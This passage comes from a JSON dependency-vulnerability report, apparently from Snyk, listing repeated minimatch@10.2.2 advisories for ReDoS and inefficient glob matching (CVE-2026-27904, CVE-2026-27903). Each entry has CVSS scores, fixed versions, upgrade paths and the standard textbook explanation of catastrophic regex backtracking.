string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, 